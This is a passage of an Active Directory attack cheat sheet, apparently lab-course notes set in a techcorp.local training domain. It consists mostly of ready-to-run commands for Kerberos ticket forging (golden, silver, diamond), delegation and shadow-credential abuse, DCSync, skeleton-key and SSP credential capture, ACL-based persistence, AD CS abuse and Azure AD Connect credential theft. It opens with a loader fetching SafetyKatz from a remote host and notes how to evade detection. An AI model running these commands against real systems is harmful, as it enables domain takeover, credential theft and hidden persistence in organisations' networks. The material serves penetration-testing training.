AssemblyLoad.exe http://192.168.56.130/FsKnockouT-Tools/Loader.exe -Path http://192.168.56.130/FsKnockouT-Tools/SafteyKatz.exe
```

***

### gMSA

**1. First find out the gMSA account:**

```powershell
Get-ADServiceAccount -Filter *
### with PowerView
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'
Get-DomainObject -LDAPFilter '(objectClass=msDSGroupManagedServiceAccount)'
```

**2. The attribute `msDS-GroupMSAMembership` (PrincipalsAllowedToRetrieveManagedPassword) lists the principals that can read the password blob:**

```powershell
Get-ADServiceAccount -Identity gmsaDragon -Properties * | select PrincipalsAllowedToRetrieveManagedPassword
```

**3. Once we have compromised a principal that can read the blob, use ADModule to read and DSInternals to compute the NTLM hash:**

```powershell
$Passwordblob = (Get-ADServiceAccount -Identity gmsaDragon -Properties msDS ManagedPassword).'msDS-ManagedPassword'
Import-Module C:\AD\Tools\DSInternals_v4.7\DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```

**4. Passing the NTLM hash of the gMSA, we get privileges of the gMSA:**

```
sekurlsa::pth /user:gmsaDragon /domain:essos.local /ntlm:<hash>
```

***

### Unconstrained Delegation

**1. Discover domain computers which have unconstrained delegation:**

```powershell
### with PowerView
Get-DomainComputer -UnConstrained
### with ActiveDirectory module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```

**2. Compromise the server(s) where unconstrained delegation is enabled** (and run SpoolSample to trick the DC to connect back to that computer): <https://github.com/leechristensen/SpoolSample>

```
### note that the web computer is the one we compromised
MS-RPRN.exe \\us-dc.us.techcorp.local \\us-web.us.techcorp.local
```

**3. After the connection, we can export TGTs using the below command:**

```powershell
SafetyKatz.exe '"sekurlsa::tickets /export"'
### The ticket could be reused
SafetyKatz.exe '"kerberos::ptt ticket.kirbi"'
### another approach: monitor for the tkt with Rubeus and run SpoolSample and wait for the tkt
Rubeus.exe monitor /interval:5
```

**4. Copy the base64 encoded TGT, remove extra spaces and use it on the attacker's machine:**

```powershell
Rubeus.exe ptt /tikcet:<put_the_tkt_here>
### Or use Invoke-Mimikatz
[IO.File]::WriteAllBytes("C:\AD\Tools\USDC.kirbi", [Convert]::FromBase64String("ticket_from_Rubeus_monitor"))
SafetyKatz.exe '"kerberos::ptt C:\AD\Tools\USDC.kirbi"'
```

**5. Run DCSync, or whatever attacks with the privs you have now:**

```powershell
SafetyKatz.exe '"lsadump::dcsync /user:us\krbtgt"'
```

If you're using Linux, use this: <https://github.com/p0dalirius/Coercer>

***

### Constrained Delegation (Protocol Transition)

* `SeEnableDelegation` privileges are needed to configure Constrained Delegation.
* Two ways to configure constrained delegation:
  * **Kerberos only:** Kerberos authentication is needed for the service to delegate.
  * **Protocol transition:** Regardless of authentication the service can delegate.

To perform the attack you need to compromise the first hop account.

**1. Enumerate the services with constrained delegation enabled:**

```powershell
### Using PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

### Using ActiveDirectory module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateT

### Native PowerShell
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo

#### LDAP Query
(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216))
(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))
```

**2. Use Rubeus s4u module:**

```powershell
C:\AD\Tools\Rubeus.exe s4u /user:appsvc /aes256:b4cb0430da8176ec6eae2002dfa86a8c6742e5a88448f1c2d6afc3781e11 /impersonateuser:administrator /msdsspn:CIFS/us mssql.us.techcorp.local /domain:us.techcorp.local /ptt

### If you have the service account password
Rubeus.exe s4u /user:serviceaccount /password:password123 /domain:domain.com /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt

### If you have the NTLM hash
Rubeus.exe s4u /user:serviceaccount /rc4:ntlmhash /domain:domain.com /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt

### Alternative SPN formats
/msdsspn:http/target.domain.com
/msdsspn:ldap/target.domain.com
/msdsspn:host/target.domain.com
```

**3. Access the target:**

```cmd
winrs -r:us-mssql cmd.exe
```

#### Persistence — msDS-AllowedToDelegateTo

* Note that `msDS-AllowedToDelegateTo` is the user account flag which controls the services to which a user account has access.
* This means, with enough privileges, it is possible to access any service from a user — a neat persistence trick.
* Enough privileges? — `SeEnableDelegationPrivilege` on the DC and full rights on the target user (default for Domain Admins and Enterprise Admins).
* That is, we can force-set 'Trusted to Authenticate for Delegation' and `msDS-AllowedToDelegateTo` on a user (or create a new user — which is more noisy) and abuse it later.

**Attack chain summary:**

1. Compromise a **delegation-enabled account** (e.g., `devuser`)
2. Use **Rubeus S4U** to impersonate an admin and access LDAP on the DC
3. Use the LDAP access to **DCSync krbtgt**
4. Gain **full control of the domain**

**1. Configure the delegation:**

```powershell
# Using PowerView:
Set-DomainObject -Identity devuser -Set @{serviceprincipalname='dev/svc'}
Set-DomainObject -Identity devuser -Set @{"msds-allowedtodelegateto"="ldap/us dc.us.techcorp.local"}
Set-DomainObject -SamAccountName devuser1 -Xor @{"useraccountcontrol"="16777216"}
Get-DomainUser -TrustedToAuth

### Using AD module
Set-ADUser -Identity devuser -ServicePrincipalNames @{Add='dev/svc'}
Set-ADUser -Identity devuser -Add @{'msDS-AllowedToDelegateTo'= @('ldap/us dc','ldap/us-dc.us.techcorp.local')} -Verbose
Set-ADAccountControl -Identity devuser -TrustedToAuthForDelegation $true
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS AllowedToDelegateTo
```

**2. Abuse the object you configured to delegate:**

```powershell
Rubeus.exe hash /password:Password@123! /user:devuser /domain:us.techcorp.local
Rubeus.exe s4u /user:devuser /rc4:539259E25A0361EC4A227DD9894719F6 /impersonateuser:administrator /msdsspn:ldap/us-dc.us.techcorp.local /domain:us.techcorp.local /ptt
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"
```

**Result:** Attacker now has a **TGS to the DC's LDAP service as Administrator**.

***

### Constrained Delegation (Resource-Based)

**Prerequisites:**

1. **Control over an object with SPN** (Service Principal Name) — "Create machine account"
2. **Write permissions** on the target service's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute

**Attack steps:**

**1. Using the ActiveDirectory module, configure RBCD on us-helpdesk for student machines:**

```powershell
$comps = 'student1$','student2$'
Set-ADComputer -Identity us-helpdesk PrincipalsAllowedToDelegateToAccount $comps
```

**2. Get the privileges of studentx$ by extracting its AES keys:**

```powershell
SafetyKatz.exe '"sekurlsa::ekeys"'
```

**Use the AES key of studentx$ with Rubeus and access us-helpdesk as ANY user we want:**

```powershell
Rubeus.exe s4u /user:student1$ /aes256:d1027fbaf7faad598aaeff08989387592c0d8e0201ba453d 83b9e6b7fc7897c2 /msdsspn:http/us-helpdesk /impersonateuser:administrator /ptt
winrs -r:us-helpdesk cmd.exe
```

**Note:** you can create a new machine account to use in this attack (and set a SPN for it):

```powershell
New-ADComputer -Name "FAKE01" -Enabled $true -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
### Set SPN for the fake machine
setspn -a HOST/FAKE01.domain.com FAKE01$
### PowerView
Set-DomainObject -Identity "TARGET-COMPUTER$" -Set @{'servicePrincipalName'='HOST/fake-sql.techcorp.local'}
### OverWrite the old one
Set-DomainObject -Identity "TARGET-COMPUTER$" -Clear 'servicePrincipalName'
Set-DomainObject -Identity "TARGET-COMPUTER$" -Set @{'servicePrincipalName'='HOST/fake-sql.techcorp.local'}
### AD Module
Set-ADComputer -Identity "TARGET-COMPUTER" -Add @{ServicePrincipalName="HOST/fake-sql.techcorp.local"}
```

***

### Constrained Delegation (Kerberos Only)

**Attack steps:**

1. Create a new Machine Account
2. Configure RBCD on the machine configured with Constrained Delegation
3. Obtain a TGS/Service Ticket for the machine configured with Constrained Delegation by leveraging the newly created Machine Account
4. Request a new forwardable TGS/Service Ticket by leveraging the ticket created in previous step

**Steps:**

**1. Enumerate constrained delegation using ADModule:**

```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

**2. Create a new Machine Account using Powermad.ps1 script:**

```powershell
. C:\AD\Tools\Powermad\Powermad.ps1
New-MachineAccount -MachineAccount studentcompX
```

We already compromised us-mgmt.

**3. Configure RBCD on us-mgmt using us-mgmt$ computer account:**

```powershell
C:\AD\Tools\Rubeus.exe asktgt /user:us-mgmt$ /aes256:cc3e643e73ce17a40a20d0fe914e2d090264ac6babbb86e99e74d7 /impersonateuser:administrator /domain:us.techcorp.local /ptt /nowrap
```

Using ADModule: configure Resource-Based Constrained Delegation:

```powershell
Set-ADComputer -Identity us-mgmt$ PrincipalsAllowedToDelegateToAccount studentcompX$ -Verbose
```

**5. Obtain a TGS/Service Ticket for us-mgmt (machine configured with Constrained Delegation) by leveraging the newly created Machine Account (studentcompx):**

```powershell
C:\AD\Tools\Rubeus.exe hash /password:P@ssword@123
C:\AD\Tools\Rubeus.exe s4u /impersonateuser:administrator /user:studentcompX$ /rc4:D3E5739141450E529B07469904FE8BDC /msdsspn:cifs/us mgmt.us.techcorp.local /nowrap
```

**6. Request a new forwardable TGS/Service Ticket by leveraging the ticket created in previous step:**

```powershell
C:\AD\Tools\Rubeus.exe s4u /tgs:doIGxjCCBsKgAwIBBaEDAgEWoo... /user:us-mgmt$ /aes256:cc3e643e73ce17a40a20d0fe914e2d090264ac6babbb86e9 9e74d74016ed51b2 /msdsspn:cifs/us mssql.us.techcorp.local /altservice:http /nowrap /ptt
### Access the us-mssql using WinRM as the Domain Admin.
winrs -r:us-mssql.us.techcorp.local cmd.exe
```

***

### Golden Ticket

**Prerequisites:** You need the **krbtgt account's password hash**, which can be obtained through:

* **DCSync attack** (most common method)
* **Domain Controller compromise**
* **NTDS.dit database extraction**
* **LSA Secrets extraction** from a Domain Controller

**1. Execute mimikatz or any variant on the DC to get the krbtgt hash:**

```powershell
SafetyKatz.exe '"lsadump::lsa /patch"'
# OR
SafetyKatz.exe '"lsadump::dcsync /user:us\krbtgt"'
```

**2. From any machine that can reach the DC over network:**

```powershell
SafetyKatz.exe '"kerberos::golden /User:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726 163245708 /krbtgt:b0975ae49f441adc6b024ad238935af5 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

**3. Use Rubeus to forge a Golden ticket with attributes similar to a normal TGT:**

```powershell
C:\AD\Tools\Rubeus.exe golden /aes256:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58c acd5 /sid:S-1-5-21-210670787-2521448726-163245708 /ldap /user:Administrator /printcmd
```

The above command generates the ticket forging command. Note that 3 LDAP queries are sent to the DC to retrieve the values:

* To retrieve flags for user specified in `/user`.
* To retrieve `/groups`, `/pgid`, `/minpassage` and `/maxpassage`.
* To retrieve `/netbios` of the current domain.

If you have already enumerated the above values, manually specify as many as you can in the forging command (a bit more opsec friendly).

**The Golden ticket forging command looks like this:**

```powershell
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args %Pwn% /aes256:5E3D2096ABB01469A3B0350962B0C65CEDBBC611C5EAC6F3EF6FC1FFA58CACD5 /user:Administrator /id:500 /pgid:513 /domain:us.techcorp.local /sid:S-1-5 21-210670787-2521448726-163245708 /pwdlastset:"7/5/2019 12:42:09 AM" /minpassage:1 /logoncount:252 /netbios:US /groups:544,512,520,513 /dc:US DC.us.techcorp.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt
```

**Using Mimikatz:**

```powershell
mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /groups:513,2668 /ptt"
```

> *\[Screenshots: Pasted image 20250623071627.png · 20250623071641.png · 20250623071653.png · 20250623091353.png]*

***

### Silver Ticket

Using the hash of the Domain Controller computer account, the below command provides access to shares on the DC:

```powershell
SafetyKatz.exe '"kerberos::golden /User:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726 163245708 /target:us-dc.us.techcorp.local /service:cifs /rc4:f4492105cb24a843356945e45402073e /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

Similar command can be used for any other service on a machine: HOST, RPCSS, WSMAN and many more.

```powershell
C:\AD\Tools\Rubeus.exe silver /service:http/us-dc.us.techcorp.local /rc4:f4492105cb24a843356945e45402073e /ldap /sid:S-1-5-21-210670787 2521448726-163245708 /user:Administrator /domain:us.techcorp.local /ptt
```

**Using Mimikatz:**

```powershell
### with an NT hash
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
### with an AES 128 key
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
### with an AES 256 key
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
```

***

### Diamond Ticket

We would still need krbtgt AES keys. Use the following Rubeus command to create a diamond ticket (note that RC4 or AES keys of the user can be used too):

```powershell
Rubeus.exe diamond /krbkey:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5 /user:studentuserx /password:studentuserxpassword /enctype:aes /ticketuser:administrator /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

We could also use the `/tgtdeleg` option in place of credentials in case we have access as a domain user:

```powershell
Rubeus.exe diamond /krbkey:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

***

### Skeleton Key

Use the below command to inject a skeleton key (password would be `mimikatz`) on a Domain Controller of choice. DA privileges required:

```powershell
SafetyKatz.exe '"privilege::debug" "misc::skeleton"' ComputerName us-dc
```

Now, it is possible to access any machine with a valid username and password as "mimikatz":

```powershell
Enter-PSSession -Computername us-dc -credential us\Administrator
```

In case lsass is running as a protected process, we can still use Skeleton Key but it needs the mimikatz driver (`mimidriv.sys`) on disk of the target DC:

```
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-
```

> Note that the above would be very noisy in logs — service creation!

***

### DSRM

**Dump DSRM password (needs DA privs):**

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername us-dc
SafetyKatz.exe '"token::elevate" "lsadump::sam"'
```

**Compare the Administrator hash with the Administrator hash of the below command:**

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername us-dc
SafetyKatz.exe '"lsadump::lsa /patch"'
```

The first one is the DSRM local Administrator. Since it is the 'local' administrator of the DC, we can pass the hash to authenticate. But the Logon Behavior for the DSRM account needs to be changed before we can use its hash:

```powershell
Enter-PSSession -Computername us-dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

```powershell
### On the domain controller, retrieve the hash of the DSRM account (Administrator)
mimikatz.exe "token::elevate" "lsadump::sam"
### Set the registry key to allow login with the DSRM account
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
### Use the hash to authenticate and run a new PowerShell process
mimikatz.exe "sekurlsa::pth /domain:<DC_NAME> /user:Administrator /ntlm:<NTLM_HASH> /run:powershell.exe"
```

> *\[Screenshot: Pasted image 20250624071644.png]*

***

### Custom SSP

We can use either of the ways:

**1. Drop the mimilib.dll to system32 and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`:**

```powershell
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
```

**2. Using mimikatz, inject into lsass (Not stable with Server 2016 and 2019):**

```powershell
SafetyKatz.exe '"misc::memssp"'
Invoke-Mimikatz -Command "misc::memssp"
```

***

### AdminSDHolder

**Add FullControl permissions for a user to the AdminSDHolder using PowerView as DA:**

```powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=us,dc=techcorp,dc=local' -PrincipalIdentity studentuser1 -Rights All -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
```

**Using ActiveDirectory Module and RACE toolkit** (<https://github.com/samratashok/RACE>):

```powershell
Set-DCPermissions -Method AdminSDHolder -SAMAccountName studentuser1 -Right GenericAll -DistinguishedName 'CN=AdminSDHolder,CN=System,dc=us,dc=techcorp,dc=local' -Verbose
```

**Other interesting permissions (ResetPassword, WriteMembers) for a user to the AdminSDHolder:**

```powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=us,dc=techcorp,dc=local' -PrincipalIdentity studentuser1 -Rights ResetPassword -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
```

```powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=us,dc=techcorp,dc=local' -PrincipalIdentity studentuser1 -Rights WriteMembers -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
```

**Run SDProp manually using Invoke-SDPropagator.ps1 from Tools directory:**

```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
### For pre-Server 2008 machines:
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
```

Reference: [theyoge/AD-Pentesting-Tools](https://github.com/theyoge/AD-Pentesting-Tools?tab=readme-ov-file#General-usefull-Powershell-Scripts)

**Check the Domain Admins permission — PowerView as normal user:**

```powershell
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "studentuser1"}
```

**Using ActiveDirectory Module:**

```powershell
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=us,DC=techcorp,DC=local').Access | ?{$_.IdentityReference -match 'studentuser1'}
```

**Use the previous attack to add users to DA group and reset passwords:**

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose
### Using ActiveDirectory Module
Add-ADGroupMember -Identity 'Domain Admins' -Members testda
Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
### Using ActiveDirectory Module:
Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
```

**Add FullControl rights:**

```powershell
Add-DomainObjectAcl -TargetIdentity "dc=us,dc=techcorp,dc=local" -PrincipalIdentity studentuser1 -Rights All -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
### Using ActiveDirectory Module and RACE
Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=us,DC=techcorp,DC=local' -Right GenericAll -Verbose
```

**Add rights for DCSync:**

```powershell
Add-DomainObjectAcl -TargetIdentity "dc=us,dc=techcorp,dc=local" -PrincipalIdentity studentuser1 -Rights DCSync -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
### Using ActiveDirectory Module and RACE
Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=us,DC=techcorp,DC=local' -GUIDRight DCSync -Verbose
```

***

### Persistence using ACLs — Rights Abuse

**Add FullControl rights:**

```powershell
Add-DomainObjectAcl -TargetIdentity "dc=us,dc=techcorp,dc=local" -PrincipalIdentity studentuser1 -Rights All -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
### Using ActiveDirectory Module and RACE:
Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=us,DC=techcorp,DC=local' -Right GenericAll -Verbose
```

**Add rights for DCSync:**

```powershell
Add-DomainObjectAcl -TargetIdentity "dc=us,dc=techcorp,dc=local" -PrincipalIdentity studentuser1 -Rights DCSync -PrincipalDomain us.techcorp.local -TargetDomain us.techcorp.local -Verbose
### Using ActiveDirectory Module and RACE:
Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=us,DC=techcorp,DC=local' -GUIDRight DCSync -Verbose
```

***

### Persistence using ACLs — Security Descriptors

#### WMI

ACLs can be modified to allow non-admin users access to securable objects. Using the RACE toolkit:

```powershell
. C:\AD\Tools\RACE-master\RACE.ps1
### On local machine for student1:
Set-RemoteWMI -SamAccountName studentuser1 -Verbose
### On remote machine for studentuser1 without explicit credentials:
Set-RemoteWMI -SamAccountName studentuser1 -ComputerName us-dc -Verbose
### On remote machine with explicit credentials. Only root\cimv2 and nested namespaces:
Set-RemoteWMI -SamAccountName studentuser1 -ComputerName us-dc -Credential Administrator -namespace 'root\cimv2' -Verbose
### On remote machine remove permissions:
Set-RemoteWMI -SamAccountName studentuser1 -ComputerName us-dc -Remove
```

#### PowerShell Remoting

Using the RACE toolkit:

```powershell
# On local machine for studentuser1:
Set-RemotePSRemoting -SamAccountName studentuser1 -Verbose
### On remote machine for studentuser1 without credentials:
Set-RemotePSRemoting -SamAccountName studentuser1 -ComputerName us-dc -Verbose
### On remote machine, remove the permissions:
Set-RemotePSRemoting -SamAccountName studentuser1 -ComputerName us-dc -Remove
```

#### Remote Registry

```powershell
### Using RACE or DAMP toolkit, with admin privs on remote machine
Add-RemoteRegBackdoor -ComputerName us-dc -Trustee studentuser1 -Verbose
### As studentuser1, retrieve machine account hash
Get-RemoteMachineAccountHash -ComputerName us-dc -Verbose
### Retrieve local account hash:
Get-RemoteLocalAccountHash -ComputerName us-dc -Verbose
### Retrieve domain cached credentials:
Get-RemoteCachedCredential -ComputerName us-dc -Verbose
```

***

### Cross Domain Attacks — AD CS

**Enumerate the AD CS in the target forest:**

```powershell
Certify.exe cas
### Enumerate the templates:
Certify.exe find
### Enumerate vulnerable templates:
Certify.exe find /vulnerable
```

**Enumerate the enrolleeSuppliesSubject:**

```powershell
Certify.exe find /enrolleeSuppliesSubject
```

**Use the certificate to request a TGT for pawadmin and inject it:**

```powershell
C:\AD\Tools\Rubeus.exe asktgt /user:pawadmin /certificate:C:\AD\Tools\pawadmin.pfx /password:SecretPass@123 /nowrap /ptt
```

**Request a certificate for DA:**

```powershell
C:\AD\Tools\Certify.exe request /ca:Techcorp-DC.techcorp.local\TECHCORP-DC-CA /template:ForAdminsofPrivilegedAccessWorkstations /altname:Administrator
```

**Convert from cert.pem to pfx:**

```powershell
C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\tools\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\tools\DA.pfx
```

**Request DA TGT and inject it:**

```powershell
C:\AD\Tools\Rubeus.exe asktgt /user:Administrator /certificate:C:\AD\Tools\DA.pfx /password:SecretPass@123 /nowrap /ptt
```

**Request a certificate for EA:**

```powershell
C:\AD\Tools\Certify.exe request /ca:Techcorp DC.techcorp.local\TECHCORP-DC-CA /template:ForAdminsofPrivilegedAccessWorkstations /altname:Administrator
```

**Convert from cert.pem to pfx:**

```powershell
C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\tools\EA.pfx
```

**Request EA TGT and inject it:**

```powershell
C:\AD\Tools\Rubeus.exe asktgt /user:techcorp.local\Administrator /dc:techcorp-dc.techcorp.local /certificate:C:\AD\Tools\EA.pfx /password:SecretPass@123 /nowrap /ptt
```

```powershell
certutil -v -template > cert_templates.txt
Rubeus.exe asktgt /user:svc.gitlab /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:lunar.eruca.com /dc:<IP of domain controller>
```

***

### Shadow Credentials

**Prerequisites to abuse Shadow Credentials:**

1. AD CS (Key Trust if AD CS is not present)
2. Support for PKINIT and at least one DC with Windows Server 2016 or above.
3. Permissions (GenericWrite/GenericAll) to modify the `msDS-KeyCredentialLink` attribute of the target object.

**Attack steps:**

**1. Enumerate the permissions:**

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "StudentUsers"}
```

**2. Add the Shadow Credential:**

```powershell
Whisker.exe add /target:supportXuser
```

**3. Using PowerView, see if the Shadow Credential is added:**

```powershell
Get-DomainUser -Identity supportXuser
```

**4. Request the TGT by leveraging the certificate:**

```powershell
Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCW.... /password:"1OT0qAom3..." /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show /nowrap
```

**5. Inject the TGT in the current session or use the NTLM hash:**

```powershell
Rubeus.exe ptt /ticket:doIGgDCCBnygAwIBBaEDAgEW...
```

#### Abusing Computer Object

**1. Enumerate the permissions:**

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'mgmtadmin'}
```

**2. Add the Shadow Credential:**

```powershell
C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth /user:mgmtadmin /domain:us.techcorp.local /aes256:32827622ac4357bcb476ed3ae362f9d3e7d27e292eb27519d2b8b4 19db24c00f /run:cmd.exe" "exit"
###
Whisker.exe add /target:us-helpdesk$
```

**3. Using PowerView, see if the Shadow Credential is added:**

```powershell
Get-DomainComputer -Identity us-helpdesk
```

**4. Request the TGT by leveraging the certificate:**

```powershell
Rubeus.exe asktgt /user:us-helpdesk$ /certificate:MIIJ0AIBAzCCCYwGCSqGSIb... /password:"ViGFoZJa..." /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show
```

**5. Request and Inject the TGS by impersonating the user:**

```powershell
Rubeus.exe s4u /dc:us-dc.us.techcorp.local /ticket:doIGkDCCBoygAwIBBaEDAgEW... /impersonateuser:administrator /ptt /self /altservice:cifs/us-helpdesk
```

***

### Attacking Azure AD (PHS)

**Azure AD Integration — PHS**

**Enumerate the PHS account and server where AD Connect is installed:**

```powershell
Get-DomainUser -Identity "MSOL_*" -Domain techcorp.local
### Using the ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server techcorp.local -Properties * | select SamAccountName,Description | fl
```

**With administrative privileges, if we run adconnect.ps1, we can extract the credentials of the MSOL\_ account used by AD Connect in clear-text:**

```powershell
.\adconnect.ps1
```

**With the password, we can run commands as MSOL\_:**

```powershell
runas /user:techcorp.local\MSOL_16fb75d0227d /netonly cmd
```

**And can then execute the DCSync attack:**

```powershell
SafetyKatz.exe '"lsadump::dcsync /user:us\krbtgt"'
SafetyKatz.exe '"lsadump::dcsync /user:techcorp\krbtgt /domain:techcorp.local"'
```

> Please note that because AD Connect synchronizes hashes every two minutes, in an Enterprise Environment the MSOL\_ account will be excluded from tools like MDI! This will allow us to run DCSync without any alerts!

***

### SID History

```powershell
# Generic command
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:UserRecievingTheSID /new:SIDOfTheTargetedUserOrGroup"

# Example 1: Inject the SID of built-in administrator account to the SID-History attribute of AttackerUser
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:Builtin\administrators "

# Example 2: Use sid::lookup to retrieve the SID of an account and inject it to the SID-History attribute of AttackerUser
mikikatz.exe "sid::lookup /name:InterestingUser"
mikikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:AttackerUser /new:SIDOfInterestingUser"
```

**Post-Windows 2016:**

```powershell
# Install DSInternals on the domain controller
Install-Module -Name DSInternals
# Find the account SID you want to inject
Get-ADUser -Identity $InterestingUser
# Stop the NTDS service
Stop-service NTDS -force
# Inject the SID into the SID History attribute
Add-ADDBSidHistory -samaccountname AttackerUser -sidhistory $SIDOfInterestingUser -DBPath C:\Windows\ntds\ntds.dit
# Start the NTDS service
Start-service NTDS
```

***

### Child to Forest Root — Trust Key

So, what is required to forge trust tickets is, obviously, the trust key. Look for the trust key from child to parent:

```powershell
SafetyKatz.exe '"lsadump::trust /patch"'
SafetyKatz.exe '"lsadump::dcsync /user:us\techcorp$"'
SafetyKatz.exe '"lsadump::lsa /patch"'
```

**Using Rubeus, forge a ticket:**

```powershell
C:\AD\Tools\Rubeus.exe silver /user:Administrator /ldap /service:krbtgt/TECHCORP.LOCAL /rc4:a6215eeb238da9262d014a529fe03adb /sids:S-1-5-21- 2781415573-3701854478-2406986946-519 /nowrap
```

**Use the forged ticket:**

```powershell
